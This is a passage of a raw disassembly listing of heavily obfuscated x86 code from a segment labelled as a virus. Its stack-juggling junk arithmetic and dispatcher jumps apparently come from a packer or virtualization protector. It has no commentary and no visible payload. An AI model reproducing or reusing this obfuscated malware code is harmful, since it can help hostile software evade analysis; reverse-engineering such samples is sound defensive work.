		mov	edi, [esp]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		push	0
		sub	[esp], edx
		pop	edx
		add	edx, 0D2175976h
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4
		sub	ebp, 6F79216Bh
		sub	ebp, 3867638h
		jmp	loc_581489
; ---------------------------------------------------------------------------


loc_5910A3:				; CODE XREF: Virus___:0058FE9Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5910B7:				; CODE XREF: Virus___:0058D1ABj
		mov	esi, 6CB46359h
		push	ebx
		mov	ebx, 7DC60692h
		sub	ebx, 4D3ADCABh
		and	esi, ebx
		jmp	loc_585B7E
; ---------------------------------------------------------------------------


loc_5910CF:				; CODE XREF: Virus___:00582BE7j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5910D4:				; CODE XREF: Virus___:0058C252j
		pop	ebx
		jmp	loc_58AC41
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_592DE1
; ---------------------------------------------------------------------------


loc_5910E2:				; CODE XREF: Virus___:0058137Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_58EB12
; ---------------------------------------------------------------------------


loc_5910EE:				; CODE XREF: Virus___:0058C19Ej
		xor	al, dh
		pop	edx
		sub	bl, 10h
		sub	bl, 0C9h
		sub	bl, al
		jmp	loc_5848B5
; ---------------------------------------------------------------------------


loc_5910FE:				; CODE XREF: Virus___:00589558j
		sub	esp, 4
		jmp	loc_58C015
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A757706h
		push	0F09h
		jmp	loc_5934DF
; ---------------------------------------------------------------------------


loc_591122:				; CODE XREF: Virus___:00586F25j
		pop	ebp
		jmp	loc_58952D
; ---------------------------------------------------------------------------


loc_591128:				; CODE XREF: Virus___:0058993Fj
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_587F91
; ---------------------------------------------------------------------------


loc_591134:				; CODE XREF: Virus___:00580E30j
		mov	[esp], ebx
		mov	ebx, 587A5F42h
		shr	ebx, 1
		sub	ebx, 29B2274h
		add	ebx, 2FDC261Bh
		jmp	loc_58F197
; ---------------------------------------------------------------------------


loc_59114F:				; CODE XREF: Virus___:00588CE1j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58205A
; ---------------------------------------------------------------------------


loc_591162:				; CODE XREF: Virus___:00582701j
		pop	esp
		add	ecx, 4970B11Ah
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		movzx	ecx, ax
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_5832C4
; ---------------------------------------------------------------------------


loc_591188:				; CODE XREF: Virus___:00590F30j
		pop	esi
		jmp	loc_589247
; ---------------------------------------------------------------------------


loc_59118E:				; CODE XREF: Virus___:00585323j
		xor	ebp, 1718405Ah
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58F109
; ---------------------------------------------------------------------------


loc_5911A3:				; CODE XREF: Virus___:0058212Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_586622
; ---------------------------------------------------------------------------


loc_5911BC:				; CODE XREF: Virus___:00586152j
		pop	ebx
		push	5957h
		mov	[esp], edx
		push	eax
		jmp	loc_58BAD9
; ---------------------------------------------------------------------------


loc_5911CB:				; CODE XREF: Virus___:00586FA1j
		not	dh
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0E7h
		shl	ch, 8
		inc	ch
		push	eax
		jmp	loc_58C75D
; ---------------------------------------------------------------------------


loc_5911E3:				; CODE XREF: Virus___:00585620j
		mov	eax, [esp]
		jmp	loc_57F507
; ---------------------------------------------------------------------------


loc_5911EB:				; CODE XREF: Virus___:0058DF21j
		push	7A80h
		mov	[esp], ecx
		push	esp
		jmp	loc_590263
; ---------------------------------------------------------------------------


loc_5911F9:				; CODE XREF: Virus___:0058BF2Ej
		or	dl, 0ECh
		neg	dl
		jmp	loc_586630
; ---------------------------------------------------------------------------


loc_591203:				; CODE XREF: Virus___:00582FF9j
		push	1322h
		mov	[esp], edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	ebx, [esp]
		push	1Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_585B13
; ---------------------------------------------------------------------------


loc_591231:				; CODE XREF: Virus___:00586DCEj
		inc	edx
		sub	edx, 176E7E56h
		mov	ebp, edx
		pop	edx
		sub	ecx, ebp
		pop	ebp
		jmp	loc_588EE3
; ---------------------------------------------------------------------------


loc_591243:				; CODE XREF: Virus___:00587D6Fj
		inc	byte ptr [esp]
		pushf
		jmp	loc_58E37A
; ---------------------------------------------------------------------------


loc_59124C:				; CODE XREF: Virus___:00588FB1j
		push	7962h
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 611C5071h
		not	esi
		jmp	loc_58BF0F
; ---------------------------------------------------------------------------


loc_591263:				; CODE XREF: Virus___:00592B1Ej
		mov	edi, 4
		add	ecx, edi
		jmp	loc_58B689
; ---------------------------------------------------------------------------


loc_59126F:				; CODE XREF: Virus___:0059389Fj
		sub	eax, ebx
		pop	ebx
		sub	edi, eax
		jmp	loc_5829A1
; ---------------------------------------------------------------------------


loc_591279:				; CODE XREF: Virus___:00580172j
		pop	bx
		add	al, bh
		sub	al, 0C3h
		push	edx
		mov	dl, 77h
		sub	dl, 0A4h
		add	al, dl
		jmp	loc_588CBB
; ---------------------------------------------------------------------------


loc_59128C:				; CODE XREF: Virus___:00587782j
		sub	eax, 19F10AA6h
		sub	eax, 7CDE5BDFh
		add	eax, ebp
		add	eax, 7CDE5BDFh
		add	eax, 19F10AA6h
		pop	ebp
		jmp	loc_580AEB
; ---------------------------------------------------------------------------


loc_5912A8:				; CODE XREF: Virus___:005853D7j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	eax
		mov	eax, 3B1E5044h
		mov	esi, 0E8C32420h
		add	esi, eax
		pop	eax
		add	esi, 0DC1E8BA0h
		sub	ebx, 3A2F1613h
		add	ebx, esi
		add	ebx, 3A2F1613h
		jmp	loc_57FF8F
; ---------------------------------------------------------------------------


loc_5912DC:				; CODE XREF: Virus___:0058713Aj
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1B8A2AB6h
		add	edx, 77AA5029h
		sub	edx, esi
		sub	edx, 77AA5029h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591303:				; CODE XREF: Virus___:00589104j
		push	ebp
		xor	dword ptr [esp], 4954227Fh
		pop	esi
		xor	esi, 4954227Fh
		pop	ebp
		jmp	loc_58E428
; ---------------------------------------------------------------------------


loc_591318:				; CODE XREF: Virus___:005878C0j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	ebx
		push	732Ah
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5879DC
; ---------------------------------------------------------------------------


loc_59133B:				; CODE XREF: Virus___:00585619j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_582A20
; ---------------------------------------------------------------------------


loc_591347:				; CODE XREF: Virus___:00593E5Dj
		sub	edx, 60247397h
		add	edx, eax
		add	edx, 60247397h
		sub	edx, 25DD063Bh
		push	ebx
		mov	ebx, 309C212Ch
		jmp	loc_5928A6
; ---------------------------------------------------------------------------


loc_591366:				; CODE XREF: Virus___:0058659Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	79ABh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	20CAh
		jmp	loc_593DA1
; ---------------------------------------------------------------------------


loc_591396:				; CODE XREF: Virus___:00580828j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		jmp	loc_581233
; ---------------------------------------------------------------------------


loc_5913A6:				; CODE XREF: Virus___:00593097j
		or	eax, 78625CBBh
		jmp	loc_58C43F
; ---------------------------------------------------------------------------


loc_5913B0:				; CODE XREF: Virus___:0058514Dj
		sub	esi, edx
		pop	edx
		jmp	loc_58C39C
; ---------------------------------------------------------------------------


loc_5913B8:				; CODE XREF: Virus___:0058E3DEj
		add	esi, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5882CB
; ---------------------------------------------------------------------------


loc_5913E1:				; CODE XREF: Virus___:00581EE2j
		mov	eax, [esp]
		add	esp, 4
		or	edi, 4FC58A7h
		push	edx
		mov	edx, 7FD83B40h
		jmp	loc_57F9E6
; ---------------------------------------------------------------------------


loc_5913F8:				; CODE XREF: Virus___:00581C68j
		pop	edi
		add	ebp, edx
		add	ebp, 53132174h
		jmp	loc_57F8FA
; ---------------------------------------------------------------------------


loc_591406:				; CODE XREF: Virus___:00590DEEj
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 67776CEDh
		mov	edi, eax
		pop	eax
		jmp	loc_588781
; ---------------------------------------------------------------------------


loc_59141E:				; CODE XREF: Virus___:005932DAj
		push	edi
		mov	edi, 4
		add	dword ptr [esp+4], 49FA2FBFh
		add	[esp+4], edi
		sub	dword ptr [esp+4], 49FA2FBFh
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5827EB
; ---------------------------------------------------------------------------


loc_59144A:				; CODE XREF: Virus___:0058224Cj
		add	al, 2Ah
		jmp	loc_58B22B
; ---------------------------------------------------------------------------


loc_591451:				; CODE XREF: Virus___:00582831j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5855AA
; ---------------------------------------------------------------------------


loc_59145B:				; CODE XREF: Virus___:0058F90Aj
		sub	dword ptr [esp], 37490F6Eh
		pop	eax
		add	eax, 37490F6Eh
		jmp	loc_58509A
; ---------------------------------------------------------------------------


loc_59146D:				; CODE XREF: Virus___:005856FCj
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5818B6
; ---------------------------------------------------------------------------


loc_59147B:				; CODE XREF: Virus___:00587FD8j
		sub	al, 0CEh
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_580D6B
; ---------------------------------------------------------------------------


loc_591496:				; CODE XREF: Virus___:00585297j
		neg	ebp
		push	4885h
		mov	[esp], edx
		jmp	loc_58EC19
; ---------------------------------------------------------------------------


loc_5914A5:				; CODE XREF: Virus___:00586EC8j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_59232B
; ---------------------------------------------------------------------------


loc_5914D7:				; CODE XREF: Virus___:00585C27j
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		not	dl
		push	eax
		mov	al, dl
		push	edx
		mov	dl, al
		mov	cl, dl
		pop	edx
		jmp	loc_585443
; ---------------------------------------------------------------------------


loc_5914F0:				; CODE XREF: Virus___:005928FEj
		sub	ebx, eax
		jmp	loc_58BCBE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_588298
; ---------------------------------------------------------------------------


loc_591508:				; CODE XREF: Virus___:0058E366j
		inc	ebx
		shl	ebx, 6
		or	ebx, 1812089Ah
		xor	ebx, 566D6805h
		mov	ecx, ebx
		pop	ebx
		sub	[esp+8], ecx
		pop	ecx
		jmp	loc_58AE58
; ---------------------------------------------------------------------------


loc_591525:				; CODE XREF: Virus___:0058621Aj
		mov	esp, [esp]
		jmp	loc_59057D
; ---------------------------------------------------------------------------


loc_59152D:				; CODE XREF: Virus___:0058D2B2j
		sub	ecx, esi
		add	ecx, 6E29347Ah
		push	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_586EE4
; ---------------------------------------------------------------------------


loc_59153F:				; CODE XREF: Virus___:00583B90j
		mov	[esp], edx
		mov	edx, 13410AF2h
		jmp	loc_582011
; ---------------------------------------------------------------------------


loc_59154C:				; CODE XREF: Virus___:00589F7Aj
		add	edx, 30D0A4C9h
		push	edx
		pop	ebp
		pop	edx
		push	esi
		jmp	loc_587FDD
; ---------------------------------------------------------------------------


loc_59155B:				; CODE XREF: Virus___:0058CCB0j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591565:				; CODE XREF: Virus___:0058A4C5j
		add	ecx, edx
		pop	edx
		push	7016h
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esi, eax
		push	ecx
		mov	ecx, 7B4E24C3h
		sub	esi, ecx
		pop	ecx
		push	eax
		push	63C73B79h
		push	dword ptr [esp]
		jmp	loc_57FBD3
; ---------------------------------------------------------------------------


loc_591597:				; CODE XREF: Virus___:00580E5Dj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_592471
; ---------------------------------------------------------------------------


loc_5915AC:				; CODE XREF: Virus___:00584BBDj
		mov	edx, [esp]
		add	esp, 4
		add	eax, 16D222FEh
		push	edi
		mov	edi, 2A40003Bh
		jmp	loc_580492
; ---------------------------------------------------------------------------


loc_5915C5:				; CODE XREF: Virus___:00590701j
		mov	[esp], edx
		push	eax
		push	4D4F5092h
		pop	eax
		neg	eax
		jmp	loc_581A21
; ---------------------------------------------------------------------------


loc_5915D6:				; CODE XREF: Virus___:00585EB5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5827E5
; ---------------------------------------------------------------------------


loc_5915E2:				; CODE XREF: Virus___:0058FFC0j
		pop	small word ptr [esp]
		jmp	loc_58ED64
; ---------------------------------------------------------------------------


loc_5915EB:				; CODE XREF: Virus___:005862C2j
		shr	ebp, 1
		add	ebp, 70A8795Ch
		shr	ebp, 5
		jmp	loc_5935C7
; ---------------------------------------------------------------------------


loc_5915FB:				; CODE XREF: Virus___:00583664j
		add	esp, 4
		sub	edx, 72B1550h
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_587F6B
; ---------------------------------------------------------------------------


loc_591611:				; CODE XREF: Virus___:005895A1j
		mov	ax, [esp]
		add	esp, 2
		and	dh, 0AAh
		and	dh, 0DBh
		inc	dh
		add	dh, 7Eh
		sub	ah, dh
		jmp	loc_58EA47
; ---------------------------------------------------------------------------


loc_59162A:				; CODE XREF: Virus___:005890EFj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_58F374
; ---------------------------------------------------------------------------


loc_59165A:				; CODE XREF: Virus___:005903CAj
		pop	edi
		add	ecx, edi
		push	edi
		push	ebx
		mov	ebx, 0CA04D2Fh
		mov	edi, 64D62CB4h
		add	edi, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, ecx
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		jmp	loc_5904D2
; ---------------------------------------------------------------------------


loc_591689:				; CODE XREF: Virus___:00581D58j
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A0E9
; ---------------------------------------------------------------------------


loc_5916A7:				; CODE XREF: Virus___:00592B88j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_58BCE2
; ---------------------------------------------------------------------------


loc_5916B2:				; CODE XREF: Virus___:0058AC53j
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_59184E
; ---------------------------------------------------------------------------


loc_5916BF:				; CODE XREF: Virus___:00590448j
		pop	esi
		jmp	loc_5897DA
; ---------------------------------------------------------------------------


loc_5916C5:				; CODE XREF: Virus___:00581BC4j
		sub	ebp, 33905248h
		xchg	esi, ebp
		push	318Dh
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_586AE7
; ---------------------------------------------------------------------------


loc_5916E0:				; CODE XREF: Virus___:0059440Cj
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	ebp
		push	eax
		push	1728703Ch
		pop	eax
		push	edi
		mov	edi, 1728703Bh
		add	eax, 5DD436DCh
		sub	eax, 554A551Bh
		sub	eax, edi
		add	eax, 554A551Bh
		sub	eax, 5DD436DCh
		pop	edi
		push	ebp
		jmp	loc_590CE2
; ---------------------------------------------------------------------------


loc_59171E:				; CODE XREF: Virus___:00592A52j
		xchg	eax, [esp]
		jmp	loc_587F79
; ---------------------------------------------------------------------------


loc_591726:				; CODE XREF: Virus___:0058806Ej
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57FB68
; ---------------------------------------------------------------------------


loc_59173A:				; CODE XREF: Virus___:005893CEj
		inc	dh
		add	dh, 0C4h
		or	dh, 63h
		shr	dh, 7
		and	dh, 0B8h
		add	dh, 0B1h
		push	ecx
		jmp	loc_59450E
; ---------------------------------------------------------------------------


loc_591751:				; CODE XREF: Virus___:005898F2j
		not	esi
		sub	esi, 69F388ADh
		push	esi
		pop	eax
		pop	esi
		mov	ebx, eax
		pop	eax
		jmp	loc_583AC5
; ---------------------------------------------------------------------------


loc_591764:				; CODE XREF: Virus___:0058A747j
		push	esi
		mov	esi, 0FE16333Dh
		push	edx
		push	esi
		push	esi
		mov	esi, 209169D6h
		jmp	loc_580BA1
; ---------------------------------------------------------------------------


loc_591777:				; CODE XREF: Virus___:005827A1j
		push	ecx
		push	ebp
		push	100h
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_587E57
; ---------------------------------------------------------------------------


loc_591788:				; CODE XREF: Virus___:0058E228j
		add	dword ptr [esp], 4
		jmp	loc_58D9B7
; ---------------------------------------------------------------------------


loc_591791:				; CODE XREF: Virus___:0058E5B9j
		push	edi
		mov	edi, 7CF53725h
		shl	edi, 4
		sub	edi, 0FFFFFFFFh
		xor	edi, 0C8A1A4DEh
		sub	esi, edi
		pop	edi
		jmp	loc_580206
; ---------------------------------------------------------------------------


loc_5917AB:				; CODE XREF: Virus___:00588D6Aj
		add	eax, 4
		jmp	loc_5909FB
; ---------------------------------------------------------------------------


loc_5917B5:				; CODE XREF: Virus___:0058191Fj
		mov	edi, 35285562h
		jmp	loc_583CD9
; ---------------------------------------------------------------------------


loc_5917BF:				; CODE XREF: Virus___:00582958j
		sub	eax, 5200503Eh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5917E7:				; CODE XREF: Virus___:0058F081j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	1CD1h
		mov	[esp], esi
		jmp	loc_593E9E
; ---------------------------------------------------------------------------


loc_591800:				; CODE XREF: Virus___:00588BE9j
		add	[esp+4], ebx
		pop	ebx
		pop	ebx
		jmp	loc_58AB7C
; ---------------------------------------------------------------------------


loc_59180B:				; CODE XREF: Virus___:00581DB5j
		sub	dword ptr [esp], 24C11648h
		jmp	loc_59453A
; ---------------------------------------------------------------------------


loc_591817:				; CODE XREF: Virus___:00585E68j
		xor	eax, 0E93BBD44h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, ebp
		jmp	loc_584382
; ---------------------------------------------------------------------------


loc_59182E:				; CODE XREF: Virus___:00594162j
		mov	esi, 5AFB07F3h
		or	esi, 4923332Fh
		push	edx
		mov	edx, esp
		jmp	loc_58423B
; ---------------------------------------------------------------------------


loc_591841:				; CODE XREF: Virus___:005831F7j
					; Virus___:00586D2Ej ...
		push	431h
		mov	[esp], ebx
		jmp	loc_58AD91
; ---------------------------------------------------------------------------


loc_59184E:				; CODE XREF: Virus___:005916BAj
		add	ebx, edx
		pop	edx
		jmp	loc_592DC8
; ---------------------------------------------------------------------------


loc_591856:				; CODE XREF: Virus___:005844D9j
		xor	dl, 55h
		mov	cl, dl
		pop	edx
		sub	bl, cl
		jmp	loc_5869D4
; ---------------------------------------------------------------------------


loc_591863:				; CODE XREF: Virus___:0058C397j
		push	6683h
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_58C525
; ---------------------------------------------------------------------------


loc_591878:				; CODE XREF: Virus___:00583B21j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 4C3312A4h
		jmp	loc_5806AF
; ---------------------------------------------------------------------------


loc_59188C:				; CODE XREF: Virus___:00581633j
		mov	ebp, 491B7B33h
		add	ebx, ebp
		pop	ebp
		add	ebx, 6DEE7A8Fh
		add	ebp, ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 44E1514Dh
		neg	esi
		sub	esi, 1A852039h
		xor	esi, 0A0998E7Eh
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5819E1
; ---------------------------------------------------------------------------


loc_5918F6:				; CODE XREF: Virus___:0058CA08j
		add	bl, 8Ch
		add	bl, dh
		sub	bl, 8Ch
		pop	dx
		movzx	eax, al
		jmp	loc_58C47C
; ---------------------------------------------------------------------------


loc_591908:				; CODE XREF: Virus___:00593A9Dj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_58B33D
; ---------------------------------------------------------------------------


loc_591958:				; CODE XREF: Virus___:0058179Aj
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		jmp	loc_586150
; ---------------------------------------------------------------------------


loc_591964:				; CODE XREF: Virus___:00583F0Fj
		pop	esi
		jmp	loc_57F4C5
; ---------------------------------------------------------------------------


loc_59196A:				; CODE XREF: Virus___:00585285j
		mov	edx, ebx
		pop	ebx
		jmp	loc_589190
; ---------------------------------------------------------------------------


loc_591972:				; CODE XREF: Virus___:005801D2j
		add	dword ptr [esp], 4
		jmp	loc_581B5F
; ---------------------------------------------------------------------------


loc_59197E:				; CODE XREF: Virus___:0058F316j
		xor	ebp, [esp]
		jmp	loc_590831
; ---------------------------------------------------------------------------


loc_591986:				; CODE XREF: Virus___:005855C2j
		pop	ebp
		dec	ebp
		xor	ebp, 4EC34381h
		push	ebp
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_588151
; ---------------------------------------------------------------------------


loc_59199B:				; CODE XREF: Virus___:0058BC42j
		push	eax
		mov	eax, 3FD37E21h
		jmp	loc_57FE88
; ---------------------------------------------------------------------------


loc_5919A6:				; CODE XREF: Virus___:00593D6Cj
		sub	ebp, eax
		pop	eax
		sub	eax, ebp
		jmp	loc_57FCCF
; ---------------------------------------------------------------------------


loc_5919B0:				; CODE XREF: Virus___:0058BB70j
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_592F57
; ---------------------------------------------------------------------------


loc_5919C9:				; CODE XREF: Virus___:0058BF3Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58EEBB
; ---------------------------------------------------------------------------


loc_5919DA:				; CODE XREF: Virus___:005901F9j
		mov	esi, 6F0037E7h
		and	esi, 6A665E9Fh
		jmp	loc_58CE1E
; ---------------------------------------------------------------------------


loc_5919EA:				; CODE XREF: Virus___:0059352Aj
		add	bh, dh
		pop	dx
		jmp	loc_58F10F
; ---------------------------------------------------------------------------


loc_5919F3:				; CODE XREF: Virus___:00592A2Fj
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1A30567Fh
		add	eax, esi
		pop	esi
		sub	eax, ebx
		jmp	loc_586FCB
; ---------------------------------------------------------------------------


loc_591A08:				; CODE XREF: Virus___:00584979j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58EC95
; ---------------------------------------------------------------------------


loc_591A14:				; CODE XREF: Virus___:0058D436j
		xor	ecx, [esp]
		jmp	loc_588391
; ---------------------------------------------------------------------------


loc_591A1C:				; CODE XREF: Virus___:0058AA6Cj
		or	eax, ebp
		jmp	loc_58273C
; ---------------------------------------------------------------------------


loc_591A23:				; CODE XREF: Virus___:0058E2B8j
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 629B7347h
		jmp	loc_588B4D
; ---------------------------------------------------------------------------


loc_591A30:				; CODE XREF: Virus___:00589242j
		sub	ebx, 69CF7AAEh
		push	eax
		mov	eax, 70463B36h
		jmp	loc_581094
; ---------------------------------------------------------------------------


loc_591A41:				; CODE XREF: Virus___:0058AF03j
		sub	ecx, 738B5329h
		jmp	loc_5851A9
; ---------------------------------------------------------------------------


loc_591A4C:				; CODE XREF: Virus___:00586FF5j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_585A7A
; ---------------------------------------------------------------------------


loc_591A5D:				; CODE XREF: Virus___:00593135j
		add	edi, ecx
		push	esi
		mov	esi, 4BB2782Bh
		jmp	loc_58DC5A
; ---------------------------------------------------------------------------


loc_591A6A:				; CODE XREF: Virus___:0058A5A2j
		pop	ebp
		add	edi, 1
		add	edi, 0C7125391h
		push	esi
		mov	esi, 216E6B58h
		jmp	loc_58C1F6
; ---------------------------------------------------------------------------


loc_591A7F:				; CODE XREF: Virus___:005805A5j
		add	eax, 4
		push	edi
		mov	edi, 5B2F254Ah
		inc	edi
		jmp	loc_58C341
; ---------------------------------------------------------------------------


loc_591A90:				; CODE XREF: Virus___:00593352j
		add	ebx, edx
		jmp	loc_591DC0
; ---------------------------------------------------------------------------


loc_591A97:				; CODE XREF: Virus___:0058248Cj
		sub	ecx, 7FCD502Fh
		xor	[ecx], edx
		jmp	loc_5829C8
; ---------------------------------------------------------------------------


loc_591AA4:				; CODE XREF: Virus___:0057FDEFj
		mov	[esp], esi
		push	ecx
		push	esi
		mov	esi, 4D6E1E5Dh
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		inc	ecx
		add	ecx, 1F9A27C1h
		mov	esi, ecx
		jmp	loc_588AD4
; ---------------------------------------------------------------------------


loc_591AC4:				; CODE XREF: Virus___:0058F560j
		sub	dh, 9Ch
		shl	dh, 3
		sub	dh, 5Eh
		sub	al, dh
		pop	edx
		neg	al
		add	al, 49h
		or	dl, al
		pop	eax
		shr	dl, 2
		xor	dl, 0CDh
		jmp	loc_58AA35
; ---------------------------------------------------------------------------


loc_591AE2:				; CODE XREF: Virus___:00585414j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_58B065
; ---------------------------------------------------------------------------


loc_591AF4:				; CODE XREF: Virus___:00585B55j
		xor	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2B2C30A6h
		xor	edx, 3120389Fh
		shr	edx, 4
		not	edx
		push	7FC5h
		jmp	loc_589B0B
; ---------------------------------------------------------------------------


loc_591B15:				; CODE XREF: Virus___:00590A26j
		mov	dx, [esp]
		push	3C2Ch
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		push	ecx
		mov	ecx, 35AE68FAh
		add	edx, ecx
		pop	ecx
		add	edx, edi
		jmp	loc_58352C
; ---------------------------------------------------------------------------


loc_591B49:				; CODE XREF: Virus___:00593617j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591B4E:				; CODE XREF: Virus___:0058CE5Cj
		mov	edx, 6B3F4D64h
		jmp	loc_5811DF
; ---------------------------------------------------------------------------


